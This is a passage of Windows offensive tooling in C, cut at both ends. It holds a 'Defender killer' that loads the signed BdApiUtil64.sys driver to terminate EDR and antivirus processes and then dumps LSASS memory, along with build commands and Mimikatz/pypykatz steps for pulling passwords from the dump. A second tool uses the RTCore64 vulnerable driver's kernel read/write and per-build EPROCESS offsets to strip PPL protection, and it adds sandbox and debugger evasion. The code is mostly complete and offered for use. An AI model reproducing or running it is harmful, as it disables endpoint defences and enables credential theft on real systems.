SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER,
SERVICE_DEMAND_START,
SERVICE_ERROR_NORMAL,
driverPath,
NULL, NULL, NULL, NULL, NULL
);
if (!hService) {
printf("[-] CreateService failed: %d\n", GetLastError());
CloseServiceHandle(hSCManager);
return FALSE;
}
printf("[+] Service created\n");
} else {
printf("[*] Service already exists\n");
}
// Start the service
printf("[*] Starting driver...\n");
if (!StartServiceW(hService, 0, NULL)) {
DWORD err = GetLastError();
if (err == ERROR_SERVICE_ALREADY_RUNNING) {
printf("[*] Driver already running\n");
success = TRUE;
} else {
printf("[-] StartService failed: %d\n", err);
}
} else {
printf("[+] Driver started successfully\n");
success = TRUE;
}
CloseServiceHandle(hService);
CloseServiceHandle(hSCManager);
return success;
}
BOOL OpenDriverDevice() {
printf("[*] Opening driver device...\n");
g_hDriver = CreateFileW(
BDAPI_DEVICE,
GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (g_hDriver == INVALID_HANDLE_VALUE) {
printf("[-] Failed to open device %ls: %d\n", BDAPI_DEVICE, GetLastError());
return FALSE;
}
printf("[+] Device opened: %ls\n", BDAPI_DEVICE);
return TRUE;
}
BOOL KillProcess(DWORD pid) {
if (g_hDriver == INVALID_HANDLE_VALUE) {
printf("[-] Driver not opened\n");
return FALSE;
}
DWORD bytesReturned = 0;
DWORD outputBuffer = 0;
BOOL success = DeviceIoControl(
g_hDriver,
BDAPI_IOCTL,
&pid, sizeof(DWORD),
&outputBuffer, sizeof(DWORD),
&bytesReturned,
NULL
);
return success;
}
int KillEdrProcesses() {
int killed = 0;
printf("\n[*] Scanning for EDR/AV processes...\n");
for (int i = 0; g_edr_targets[i] != NULL; i++) {
DWORD pid = FindProcessByName(g_edr_targets[i]);
if (pid) {
printf(" [*] Found %ls (PID %d) - Killing... ", g_edr_targets[i], pid);
if (KillProcess(pid)) {
printf("SUCCESS\n");
killed++;
} else {
printf("FAILED (error %d)\n", GetLastError());
}
}
}
return killed;
}
// Fast raw memory dump - bypasses MiniDumpWriteDump completely
BOOL FastDumpLsass(DWORD lsassPid, const wchar_t* outputPath) {
printf("[*] Fast raw memory dump to %ls...\n", outputPath);
HANDLE hLsass = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, lsassPid);
if (!hLsass) {
printf("[-] Failed to open LSASS: %d\n", GetLastError());
return FALSE;
}
printf("[+] Opened LSASS for reading\n");
HANDLE hFile = CreateFileW(outputPath, GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create file: %d\n", GetLastError());
CloseHandle(hLsass);
return FALSE;
}
// Allocate 1MB buffer
BYTE* buffer = (BYTE*)VirtualAlloc(NULL, 1024 * 1024, MEM_COMMIT, PAGE_READWRITE);
if (!buffer) {
printf("[-] Failed to allocate buffer\n");
CloseHandle(hFile);
CloseHandle(hLsass);
return FALSE;
}
MEMORY_BASIC_INFORMATION mbi;
SIZE_T address = 0;
SIZE_T total_dumped = 0;
int regions = 0;
DWORD start_time = GetTickCount();
printf("[*] Scanning memory regions: ");
while (VirtualQueryEx(hLsass, (LPCVOID)address, &mbi, sizeof(mbi)) == sizeof(mbi)) {
// Only dump committed readable memory
if (mbi.State == MEM_COMMIT &&
(mbi.Protect & (PAGE_READONLY | PAGE_READWRITE | PAGE_EXECUTE_READ | PAGE_EXECUTE_READWRITE)) &&
!(mbi.Protect & PAGE_GUARD)) {
SIZE_T bytes_read = 0;
if (ReadProcessMemory(hLsass, (LPCVOID)address, buffer, mbi.RegionSize, &bytes_read)) {
DWORD bytes_written;
WriteFile(hFile, buffer, (DWORD)bytes_read, &bytes_written, NULL);
total_dumped += bytes_read;
regions++;
if (regions % 10 == 0) {
printf(".");
fflush(stdout);
}
}
}
address += mbi.RegionSize;
if (address >= 0x7FFFFFFFFFFF) break;
}
VirtualFree(buffer, 0, MEM_RELEASE);
CloseHandle(hFile);
CloseHandle(hLsass);
DWORD elapsed = (GetTickCount() - start_time) / 1000;
if (elapsed == 0) elapsed = 1;
printf("\n[+] Raw dump completed\n");
printf(" Regions: %d\n", regions);
printf(" Size: %.2f MB\n", total_dumped / (1024.0 * 1024.0));
printf(" Time: %d seconds (%.2f MB/s)\n", elapsed,
(total_dumped / (1024.0 * 1024.0)) / elapsed);
printf("\n[!] This is a RAW memory dump, not minidump format\n");
printf("[!] To extract credentials, use strings or manual parsing\n");
printf("[!] Example: strings %ls | grep -i password\n", outputPath);
return TRUE;
}
// Thread wrapper for DumpLsass with timeout support
DWORD WINAPI DumpLsassThread(LPVOID param) {
const wchar_t* path = (const wchar_t*)param;
return DumpLsass(path) ? 0 : 1;
}
BOOL DumpLsass(const wchar_t* outputPath) {
DWORD lsassPid = FindProcessByName(L"lsass.exe");
if (!lsassPid) {
printf("[-] LSASS process not found\n");
return FALSE;
}
printf("[*] Found LSASS (PID %d)\n", lsassPid);
// Open LSASS with full access
printf("[*] Opening LSASS...\n");
HANDLE hLsass = OpenProcess(PROCESS_ALL_ACCESS, FALSE, lsassPid);
if (!hLsass) {
DWORD err = GetLastError();
printf("[-] Failed to open LSASS: %d\n", err);
if (err == 5) {
printf("[!] Access Denied - EDR may still be running!\n");
printf("[!] Or LSASS is PPL protected and EDR wasn't blocking us\n");
}
return FALSE;
}
printf("[+] Opened LSASS with PROCESS_ALL_ACCESS\n");
// Create dump file
printf("[*] Creating dump file: %ls\n", outputPath);
HANDLE hFile = CreateFileW(
outputPath,
GENERIC_WRITE,
0,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create dump file: %d\n", GetLastError());
CloseHandle(hLsass);
return FALSE;
}
// Dump memory
printf("[*] Dumping LSASS memory...\n");
BOOL success = MiniDumpWriteDump(
hLsass,
lsassPid,
hFile,
MiniDumpWithFullMemory,
NULL,
NULL,
NULL
);
CloseHandle(hFile);
CloseHandle(hLsass);
if (success) {
// Get file size
WIN32_FILE_ATTRIBUTE_DATA fileInfo;
LARGE_INTEGER fileSize = {0};
if (GetFileAttributesExW(outputPath, GetFileExInfoStandard, &fileInfo)) {
fileSize.LowPart = fileInfo.nFileSizeLow;
fileSize.HighPart = fileInfo.nFileSizeHigh;
}
printf("[+] LSASS dump created: %ls (%.2f MB)\n",
outputPath, (double)fileSize.QuadPart / (1024 * 1024));
return TRUE;
} else {
printf("[-] MiniDumpWriteDump failed: %d\n", GetLastError());
DeleteFileW(outputPath);
return FALSE;
}
}
int wmain(int argc, wchar_t* argv[]) {
wchar_t driverPath[MAX_PATH];
wchar_t dumpPath[MAX_PATH] = L"lsass.dmp";
printf("\n");
printf("==========================================================\n");
printf(" BdApiUtil PPL Bypass - Kill Defender + Dump LSASS\n");
printf(" Driver: BdApiUtil64.sys (Baidu - Signed)\n");
printf("==========================================================\n\n");
// Check admin
if (!IsRunningAsAdmin()) {
printf("[-] ERROR: Must run as Administrator!\n");
return 1;
}
printf("[+] Running as Administrator\n");
// Build driver path (same directory as executable)
GetModuleFileNameW(NULL, driverPath, MAX_PATH);
wchar_t* lastSlash = wcsrchr(driverPath, L'\\');
if (lastSlash) {
wcscpy_s(lastSlash + 1, MAX_PATH - (lastSlash - driverPath + 1), BDAPI_FILENAME);
}
printf("[*] Driver path: %ls\n", driverPath);
// Check if driver file exists
if (GetFileAttributesW(driverPath) == INVALID_FILE_ATTRIBUTES) {
printf("\n[-] Driver file not found: %ls\n", driverPath);
printf("\n[*] Download from LOLDrivers:\n");
printf(" Invoke-WebRequest -Uri \"https://github.com/magicsword-io/LOLDrivers/raw/main/drivers/29e1264dd642b646fbef9bd347b1b860.bin\" -OutFile \"%ls\"\n", BDAPI_FILENAME);
return 1;
}
printf("[+] Driver file found\n");
// Step 1: Load driver
printf("\n[STEP 1] Loading BdApiUtil driver...\n");
if (!LoadBdApiDriver(driverPath)) {
printf("[-] Failed to load driver\n");
return 1;
}
// Step 2: Open device
printf("\n[STEP 2] Opening driver device...\n");
if (!OpenDriverDevice()) {
printf("[-] Failed to open driver device\n");
return 1;
}
// Step 3: Kill EDR/Defender
printf("\n[STEP 3] Killing Windows Defender and EDR...\n");
int killed = KillEdrProcesses();
printf("\n[+] Killed %d EDR/AV processes\n", killed);
// Don't wait - Windows restarts Defender immediately!
// Dump LSASS as fast as possible while Defender is dead
if (killed > 0) {
printf("\n[!] Windows will restart Defender immediately - dumping LSASS now!\n");
}
// Step 4: Dump LSASS with timeout
printf("\n[STEP 4] Dumping LSASS memory...\n");
printf("[*] Attempting standard minidump (30 second timeout)...\n");
// Try standard dump with timeout
BOOL dump_success = FALSE;
HANDLE hDumpThread = CreateThread(NULL, 0,
DumpLsassThread, (LPVOID)dumpPath, 0, NULL);
if (hDumpThread) {
DWORD wait_result = WaitForSingleObject(hDumpThread, 30000); // 30 second timeout
if (wait_result == WAIT_TIMEOUT) {
printf("[!] Minidump timed out after 30 seconds\n");
printf("[*] This indicates VM security monitoring or AV interference\n");
printf("[*] Falling back to fast raw memory dump...\n");
TerminateThread(hDumpThread, 1);
CloseHandle(hDumpThread);
// Try fast dump instead
wchar_t rawDumpPath[MAX_PATH];
wcscpy_s(rawDumpPath, MAX_PATH, dumpPath);
wcscat_s(rawDumpPath, MAX_PATH, L".raw");
dump_success = FastDumpLsass(FindProcessByName(L"lsass.exe"), rawDumpPath);
} else if (wait_result == WAIT_OBJECT_0) {
DWORD exit_code;
GetExitCodeThread(hDumpThread, &exit_code);
dump_success = (exit_code == 0);
CloseHandle(hDumpThread);
}
}
if (!dump_success) {
printf("[-] All dump methods failed\n");
CloseHandle(g_hDriver);
return 1;
}
// Cleanup
CloseHandle(g_hDriver);
// Success!
printf("\n");
printf("==========================================================\n");
printf(" SUCCESS! Credentials extracted.\n");
printf("==========================================================\n");
printf("\n");
printf("[*] Parse the dump with pypykatz:\n");
printf(" pypykatz lsa minidump %ls\n", dumpPath);
printf("\n");
printf("[*] Or with Mimikatz:\n");
printf(" sekurlsa::minidump %ls\n", dumpPath);
printf(" sekurlsa::logonpasswords\n");
printf("\n");
return 0;
}
Compilation and Usage:
# Compile the code
cl src\defender_killer_lsass_dump.c /Fe:bin\defender_killer.exe advapi32.lib dbghelp.lib
# Run as Administrator
.\bin\defender_killer.exe
# Parse credentials
pip install pypykatz
pypykatz lsa minidump lsass.dmp
Debugging crashes:
# Analyze the minidump
windbg -z C:\Windows\Minidump\<dumpfile>.dmp
# In WinDbg:
!analyze -v # Get crash details
dt nt!_EPROCESS # Verify structure offsets for your build
x nt!PsInitialSystemProcess # Get System EPROCESS address
dt nt!_EPROCESS <address> # Dump System EPROCESS
# Key offsets to verify:
# UniqueProcessId - should be 0x1D0 or 0x440 for Win11 24H2
# ActiveProcessLinks - should be 0x1D8 or 0x448 for Win11 24H2
# Protection - should be 0x5FA or 0x87A for Win11 24H2
if the code below crashed your vm, check with the instructions up there to find the correct offsets
// ppl_bypass_rtcore.c - Strip PPL via EPROCESS patching using RTCore64.sys
// Compile: cl src\ppl_bypass_rtcore.c /Fe:bin\ppl_bypass.exe advapi32.lib ntdll.lib dbghelp.lib psapi.lib
// This uses RTCore64.sys kernel R/W to:
// 1. Leak kernel base address
// 2. Find PsActiveProcessHead
// 3. Walk EPROCESS linked list to find LSASS
// 4. Zero the Protection field to strip PPL
// 5. Dump LSASS with MiniDumpWriteDump
//
#include <windows.h>
#include <stdio.h>
#include <winternl.h>
#include <tlhelp32.h>
#include <dbghelp.h>
#include <psapi.h>
#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "dbghelp.lib")
#pragma comment(lib, "psapi.lib")
#pragma comment(lib, "shlwapi.lib")
typedef struct _ANTI_ANALYSIS_CTX {
BOOL is_edr_present;
BOOL is_sandbox;
BOOL is_vm;
BOOL is_debugger;
DWORD stealth_level;
} ANTI_ANALYSIS_CTX;
static ANTI_ANALYSIS_CTX g_anti_ctx = {0};
// Driver vulnerability database
typedef struct _DRIVER_INFO {
WCHAR name[64];
WCHAR device_path[256];
DWORD read_ioctl;
DWORD write_ioctl;
DWORD cve_year;
WCHAR vendor[64];
BOOL is_loaded;
} DRIVER_INFO;
static DRIVER_INFO g_vulnerable_drivers[] = {
{ L"RTCore64", L"\\\\.\\RTCore64", 0x80002048, 0x8000204C, 2019, L"MSI", FALSE },
{ L"Capcom", L"\\\\.\\Capcom", 0xAA012044, 0xAA012048, 2016, L"Capcom", FALSE },
{ L"GIGABYTE", L"\\\\.\\GIO", 0xDA880234, 0xDA880238, 2018, L"GIGABYTE", FALSE },
{ L"ASUSHWIO", L"\\\\.\\ASUSHWIO64", 0x80002010, 0x80002014, 2020, L"ASUS", FALSE },
{ L"EnTech", L"\\\\.\\EnTech", 0x9C402580, 0x9C402584, 2021, L"EnTech", FALSE }
};
#define DRIVER_COUNT (sizeof(g_vulnerable_drivers) / sizeof(DRIVER_INFO))
// Anti-analysis functions
BOOL DetectEDRPresence() {
WCHAR* edr_processes[] = {
L"crowdstrike.exe", L"csfalconservice.exe", L"sentinelagent.exe",
L"cb.exe", L"carbonblack.exe", L"edrclient.exe",
L"elasticendpoint.exe", L"mcafeeendpoint.exe", L"symantec.exe"
};
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot == INVALID_HANDLE_VALUE) return FALSE;
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);
BOOL found = FALSE;
if (Process32FirstW(snapshot, &pe32)) {
do {
for (int i = 0; i < 9; i++) {
if (_wcsicmp(pe32.szExeFile, edr_processes[i]) == 0) {
found = TRUE;
break;
}
}
} while (Process32NextW(snapshot, &pe32) && !found);
}
CloseHandle(snapshot);
return found;
}
BOOL CheckSandboxEnvironment() {
// Check for sandbox artifacts
WCHAR* sandbox_paths[] = {
L"C:\\tools", L"C:\\analysis", L"C:\\sandbox",
L"C:\\malware", L"C:\\virus", L"C:\\quarantine"
};
for (int i = 0; i < 6; i++) {
if (PathFileExistsW(sandbox_paths[i])) {
return TRUE;
}
}
// Check for VM artifacts
SYSTEM_INFO si;
GetSystemInfo(&si);
// VM CPUID checks
int cpuid[4];
__cpuid(cpuid, 1);
if (cpuid[2] & 0x80000000) return TRUE; // Hypervisor bit
__cpuid(cpuid, 0x40000000);
if (cpuid[0] >= 0x40000000) return TRUE; // Hypervisor leaf
return FALSE;
}
VOID InitializeAntiAnalysis() {
g_anti_ctx.is_edr_present = DetectEDRPresence();
g_anti_ctx.is_sandbox = CheckSandboxEnvironment();
g_anti_ctx.is_vm = CheckSandboxEnvironment();
// Check for debugger
BOOL is_debugged = FALSE;
CheckRemoteDebuggerPresent(GetCurrentProcess(), &is_debugged);
g_anti_ctx.is_debugger = is_debugged;
// Set stealth level
if (g_anti_ctx.is_edr_present) {
g_anti_ctx.stealth_level = 3;
} else if (g_anti_ctx.is_sandbox || g_anti_ctx.is_vm) {
g_anti_ctx.stealth_level = 2;
} else {
g_anti_ctx.stealth_level = 1;
}
printf("[*] Anti-analysis assessment:\n");
printf(" EDR Present: %s\n", g_anti_ctx.is_edr_present ? "YES" : "NO");
printf(" Sandbox/VM: %s\n", (g_anti_ctx.is_sandbox || g_anti_ctx.is_vm) ? "YES" : "NO");
printf(" Debugger: %s\n", g_anti_ctx.is_debugger ? "YES" : "NO");
printf(" Stealth Level: %d\n\n", g_anti_ctx.stealth_level);
}
VOID EnumerateVulnerableDrivers() {
printf("[*] Enumerating vulnerable drivers...\n");
// Get loaded drivers
LPVOID drivers[1024];
DWORD bytes_needed;
if (EnumDeviceDrivers(drivers, sizeof(drivers), &bytes_needed)) {
int driver_count = bytes_needed / sizeof(LPVOID);
for (int i = 0; i < driver_count; i++) {
WCHAR driver_name[MAX_PATH];
if (GetDeviceDriverBaseNameW(drivers[i], driver_name, MAX_PATH)) {
// Remove .sys extension for comparison
WCHAR* dot = wcsrchr(driver_name, L'.');
WCHAR name_without_ext[MAX_PATH];
if (dot) {
wcsncpy_s(name_without_ext, MAX_PATH, driver_name, dot - driver_name);
} else {
wcscpy_s(name_without_ext, MAX_PATH, driver_name);
}
// Check against vulnerable driver database
for (int j = 0; j < DRIVER_COUNT; j++) {
if (_wcsicmp(name_without_ext, g_vulnerable_drivers[j].name) == 0) {
g_vulnerable_drivers[j].is_loaded = TRUE;
printf("[+] Found vulnerable driver: %ls (CVE-%d)\n",
driver_name, g_vulnerable_drivers[j].cve_year);
break;
}
}
}
}
}
// Also try to open device directly as fallback detection
for (int i = 0; i < DRIVER_COUNT; i++) {
if (!g_vulnerable_drivers[i].is_loaded) {
HANDLE hTest = CreateFileW(
g_vulnerable_drivers[i].device_path,
GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, 0, NULL
);
if (hTest != INVALID_HANDLE_VALUE) {
g_vulnerable_drivers[i].is_loaded = TRUE;
printf("[+] Found vulnerable driver via device: %ls (CVE-%d)\n",
g_vulnerable_drivers[i].name, g_vulnerable_drivers[i].cve_year);
CloseHandle(hTest);
}
}
}
// Check for additional drivers via file system
WCHAR system32[MAX_PATH];
GetSystemDirectoryW(system32, MAX_PATH);
wcscat_s(system32, MAX_PATH, L"\\drivers\\");
for (int i = 0; i < DRIVER_COUNT; i++) {
if (!g_vulnerable_drivers[i].is_loaded) {
WCHAR driver_path[MAX_PATH];
wcscpy_s(driver_path, MAX_PATH, system32);
wcscat_s(driver_path, MAX_PATH, g_vulnerable_drivers[i].name);
wcscat_s(driver_path, MAX_PATH, L".sys");
if (PathFileExistsW(driver_path)) {
printf("[!] Driver file exists but not loaded: %ls\n", g_vulnerable_drivers[i].name);
}
}
}
printf("\n");
}
typedef struct _EPROCESS_OFFSETS {
ULONG UniqueProcessId;
ULONG ActiveProcessLinks;
ULONG ImageFileName;
ULONG Protection;
ULONG SignatureLevel;
ULONG SectionSignatureLevel;
} EPROCESS_OFFSETS;
EPROCESS_OFFSETS g_eprocess_offsets = {0};
// Dynamic offset detection for different Windows versions
// Get real Windows version using RtlGetVersion (not shimmed like GetVersionEx)
typedef NTSTATUS (NTAPI *RtlGetVersion_t)(PRTL_OSVERSIONINFOW);
DWORD GetRealWindowsBuild() {
HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
if (!hNtdll) return 0;
RtlGetVersion_t pRtlGetVersion = (RtlGetVersion_t)GetProcAddress(hNtdll, "RtlGetVersion");
if (!pRtlGetVersion) return 0;
RTL_OSVERSIONINFOW osvi = { sizeof(osvi) };
if (pRtlGetVersion(&osvi) == 0) {
return osvi.dwBuildNumber;
}
return 0;
}
BOOL DetectEprocessOffsets() {
printf("[*] Detecting EPROCESS offsets for current Windows build...\n");
// Get real Windows version using RtlGetVersion (bypasses compatibility shim)
DWORD build = GetRealWindowsBuild();
if (build == 0) {
// Fallback to registry
HKEY hKey;
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE,
L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion",
0, KEY_READ, &hKey) == ERROR_SUCCESS) {
WCHAR buildStr[32];
DWORD size = sizeof(buildStr);
if (RegQueryValueExW(hKey, L"CurrentBuildNumber", NULL, NULL,
(LPBYTE)buildStr, &size) == ERROR_SUCCESS) {
build = _wtoi(buildStr);
}
RegCloseKey(hKey);
}
}
printf("[*] Windows Build: %d\n", build);
// EPROCESS offsets vary by Windows build
// These are for 64-bit Windows. Verify with WinDbg: dt nt!_EPROCESS
if (build >= 17763 && build < 18362) {
// Windows 10 1809 (RS5)
g_eprocess_offsets.UniqueProcessId = 0x2E8;
g_eprocess_offsets.ActiveProcessLinks = 0x2F0;
g_eprocess_offsets.ImageFileName = 0x450;
g_eprocess_offsets.Protection = 0x6CA;
g_eprocess_offsets.SignatureLevel = 0x6C8;
g_eprocess_offsets.SectionSignatureLevel = 0x6C9;
} else if (build >= 18362 && build < 18363) {
// Windows 10 1903 (19H1)
g_eprocess_offsets.UniqueProcessId = 0x2E8;
g_eprocess_offsets.ActiveProcessLinks = 0x2F0;
g_eprocess_offsets.ImageFileName = 0x450;
g_eprocess_offsets.Protection = 0x6FA;
g_eprocess_offsets.SignatureLevel = 0x6F8;
g_eprocess_offsets.SectionSignatureLevel = 0x6F9;
} else if (build >= 18363 && build < 19041) {
// Windows 10 1909 (19H2)
g_eprocess_offsets.UniqueProcessId = 0x2E8;
g_eprocess_offsets.ActiveProcessLinks = 0x2F0;
g_eprocess_offsets.ImageFileName = 0x450;
g_eprocess_offsets.Protection = 0x6FA;
g_eprocess_offsets.SignatureLevel = 0x6F8;
g_eprocess_offsets.SectionSignatureLevel = 0x6F9;
} else if (build >= 19041 && build < 22000) {
// Windows 10 20H1/20H2/21H1/21H2/22H2 (builds 19041-19045)
g_eprocess_offsets.UniqueProcessId = 0x440;
g_eprocess_offsets.ActiveProcessLinks = 0x448;
g_eprocess_offsets.ImageFileName = 0x5A8;
g_eprocess_offsets.Protection = 0x87A;
g_eprocess_offsets.SignatureLevel = 0x878;
g_eprocess_offsets.SectionSignatureLevel = 0x879;
} else if (build >= 22000 && build < 22621) {
// Windows 11 21H2 (build 22000)
g_eprocess_offsets.UniqueProcessId = 0x440;
g_eprocess_offsets.ActiveProcessLinks = 0x448;
g_eprocess_offsets.ImageFileName = 0x5A8;
g_eprocess_offsets.Protection = 0x87A;
g_eprocess_offsets.SignatureLevel = 0x878;
g_eprocess_offsets.SectionSignatureLevel = 0x879;
} else if (build >= 22621 && build < 26100) {
// Windows 11 22H2/23H2 (builds 22621-22631)
g_eprocess_offsets.UniqueProcessId = 0x440;
g_eprocess_offsets.ActiveProcessLinks = 0x448;
g_eprocess_offsets.ImageFileName = 0x5A8;
g_eprocess_offsets.Protection = 0x87A;
g_eprocess_offsets.SignatureLevel = 0x878;
g_eprocess_offsets.SectionSignatureLevel = 0x879;
} else if (build >= 26100) {
g_eprocess_offsets.UniqueProcessId = 0x1D0;
g_eprocess_offsets.ActiveProcessLinks = 0x1D8;
g_eprocess_offsets.ImageFileName = 0x338;
g_eprocess_offsets.Protection = 0x5FA;
g_eprocess_offsets.SignatureLevel = 0x5F8;
g_eprocess_offsets.SectionSignatureLevel = 0x5F9;
printf("[*] Using Windows 11 24H2 Layout 1 offsets (build %d)\n", build);
printf("[!] If this fails, the system may use Layout 2 (use WinDbg to verify)\n");
} else {
printf("[-] Unsupported Windows build: %d\n", build);
printf("[!] Use WinDbg to find offsets: dt nt!_EPROCESS\n");
printf("[!] Look for: UniqueProcessId, ActiveProcessLinks, Protection\n");
return FALSE;
}
printf("[+] EPROCESS offsets detected:\n");
printf(" UniqueProcessId: 0x%X\n", g_eprocess_offsets.UniqueProcessId);
printf(" ActiveProcessLinks: 0x%X\n", g_eprocess_offsets.ActiveProcessLinks);
printf(" Protection: 0x%X\n", g_eprocess_offsets.Protection);
printf("\n");
return TRUE;
}
// Kernel base leak via multiple methods
ULONG_PTR LeakKernelBase() {
printf("[*] Attempting kernel base leak...\n");
// Method 1: NtQuerySystemInformation
typedef NTSTATUS (NTAPI *NtQuerySystemInformation_t)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
NtQuerySystemInformation_t NtQuerySystemInformation =
(NtQuerySystemInformation_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQuerySystemInformation");
if (NtQuerySystemInformation) {
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
CHAR FullPathName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Count;
SYSTEM_MODULE_INFORMATION_ENTRY Modules[1];
} SYSTEM_MODULE_INFORMATION;
ULONG size = 0;
NtQuerySystemInformation(11, NULL, 0, &size);
if (size > 0) {
SYSTEM_MODULE_INFORMATION* smi = (SYSTEM_MODULE_INFORMATION*)malloc(size);
if (smi) {
if (NT_SUCCESS(NtQuerySystemInformation(11, smi, size, &size))) {
// ntoskrnl.exe is always first module (index 0)
ULONG_PTR kernel_base = (ULONG_PTR)smi->Modules[0].ImageBase;
printf("[+] Kernel base leaked via NtQuerySystemInformation: 0x%llX\n", kernel_base);
free(smi);
return kernel_base;
}
free(smi);
}
}
}
// Method 2: EnumDeviceDrivers
LPVOID drivers[1024];
DWORD bytes_needed;
if (EnumDeviceDrivers(drivers, sizeof(drivers), &bytes_needed)) {
// First driver is typically ntoskrnl.exe
ULONG_PTR kernel_base = (ULONG_PTR)drivers[0];
printf("[+] Kernel base leaked via EnumDeviceDrivers: 0x%llX\n", kernel_base);
return kernel_base;
}
printf("[-] Failed to leak kernel base\n");
return 0;
}
// RTCore64 memory read/write structure - MUST be 48 bytes!
typedef struct _RTCORE64_MEMORY {
BYTE Pad0[8]; // 8 bytes padding
DWORD64 Address; // 8 bytes - target address
BYTE Pad1[8]; // 8 bytes padding
DWORD ReadSize; // 4 bytes - size to read (1, 2, or 4)
DWORD Value; // 4 bytes - value read/write
BYTE Pad2[16]; // 16 bytes padding
} RTCORE64_MEMORY;
// Total: 8 + 8 + 8 + 4 + 4 + 16 = 48 bytes
// Verify structure size at compile time
#define STATIC_ASSERT(cond) typedef char static_assertion[(cond)?1:-1];
STATIC_ASSERT(sizeof(RTCORE64_MEMORY) == 48)
typedef struct _CAPCOM_IOCTL_REQUEST {
ULONG_PTR TargetAddress;
ULONG_PTR SourceAddress;
SIZE_T Size;
} CAPCOM_IOCTL_REQUEST;
HANDLE OpenVulnerableDriver(int driver_index) {
if (driver_index < 0 || driver_index >= DRIVER_COUNT) {
return INVALID_HANDLE_VALUE;
}
DRIVER_INFO* driver = &g_vulnerable_drivers[driver_index];
if (!driver->is_loaded) {
printf("[-] Driver %ls is not loaded\n", driver->name);
return INVALID_HANDLE_VALUE;
}
printf("[*] Opening driver: %ls\n", driver->name);
HANDLE hDevice = CreateFileW(
driver->device_path,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Failed to open %ls: %d\n", driver->name, GetLastError());
return INVALID_HANDLE_VALUE;
}
printf("[+] Successfully opened %ls\n", driver->name);
return hDevice;
}
// Read DWORD from kernel memory using RTCore64
DWORD ReadKernelDWORD(HANDLE hDevice, DWORD ioctl, DWORD64 address) {
// Validate address looks like kernel space (upper half of address space)
// Windows uses canonical addresses: either 0x0000xxxxxxxxxxxx (user) or 0xFFFFxxxxxxxxxxxx (kernel)
// Check if bit 47 is set (kernel space indicator)
if ((address & 0xFFFF800000000000ULL) != 0xFFFF800000000000ULL) {
printf("[-] Invalid kernel address in ReadKernelDWORD: 0x%llX\n", address);
return 0;
}
RTCORE64_MEMORY mem = {0};
mem.Address = address;
mem.ReadSize = 4;
DWORD bytes_returned = 0;
BOOL result = DeviceIoControl(hDevice, ioctl, &mem, sizeof(mem), &mem, sizeof(mem), &bytes_returned, NULL);
if (!result) {
printf("[-] DeviceIoControl failed for address 0x%llX: %d\n", address, GetLastError());
return 0;
}
return mem.Value;
}
// Read QWORD (8 bytes) from kernel memory using RTCore64
DWORD64 ReadKernelQWORD(HANDLE hDevice, DWORD ioctl, DWORD64 address) {
// Validate address looks like kernel space
if ((address & 0xFFFF800000000000ULL) != 0xFFFF800000000000ULL) {
printf("[-] Invalid kernel address in ReadKernelQWORD: 0x%llX\n", address);
return 0;
}
DWORD low = ReadKernelDWORD(hDevice, ioctl, address);
DWORD high = ReadKernelDWORD(hDevice, ioctl, address + 4);
return ((DWORD64)high << 32) | low;
}
BOOL ReadKernelMemory(HANDLE hDevice, int driver_index, ULONG_PTR address, PVOID buffer, SIZE_T size) {
DRIVER_INFO* driver = &g_vulnerable_drivers[driver_index];
DWORD bytes_returned;
if (_wcsicmp(driver->name, L"RTCore64") == 0) {
// RTCore64 can only read up to 4 bytes at a time
BYTE* out_buffer = (BYTE*)buffer;
ULONG_PTR current_addr = address;
SIZE_T remaining = size;
while (remaining > 0) {
if (remaining >= 4) {
DWORD val = ReadKernelDWORD(hDevice, driver->read_ioctl, current_addr);
memcpy(out_buffer, &val, 4);
out_buffer += 4;
current_addr += 4;
remaining -= 4;
} else {
DWORD val = ReadKernelDWORD(hDevice, driver->read_ioctl, current_addr);
memcpy(out_buffer, &val, remaining);
remaining = 0;
}
}
return TRUE;
} else if (_wcsicmp(driver->name, L"Capcom") == 0) {
CAPCOM_IOCTL_REQUEST request = {0};
request.TargetAddress = address;
request.SourceAddress = (ULONG_PTR)buffer;
request.Size = size;
return DeviceIoControl(hDevice, driver->read_ioctl,
&request, sizeof(request),
NULL, 0,
&bytes_returned, NULL);
}
return FALSE;
}
// Write DWORD to kernel memory using RTCore64
void WriteKernelDWORD(HANDLE hDevice, DWORD ioctl, DWORD64 address, DWORD value) {
// Validate address looks like kernel space
if ((address & 0xFFFF800000000000ULL) != 0xFFFF800000000000ULL) {
printf("[-] Invalid kernel address in WriteKernelDWORD: 0x%llX\n", address);
return;
}
// RTCore64 write structure is different from read!
// For write IOCTL 0x8000204C, the structure is:
// - Offset 0x00: padding (8 bytes)
// - Offset 0x08: target address (8 bytes)
// - Offset 0x10: padding (8 bytes)
// - Offset 0x18: value to write (4 bytes)
// - Offset 0x1C: write size (4 bytes) - must be 1, 2, or 4
// - Offset 0x20: padding (16 bytes)
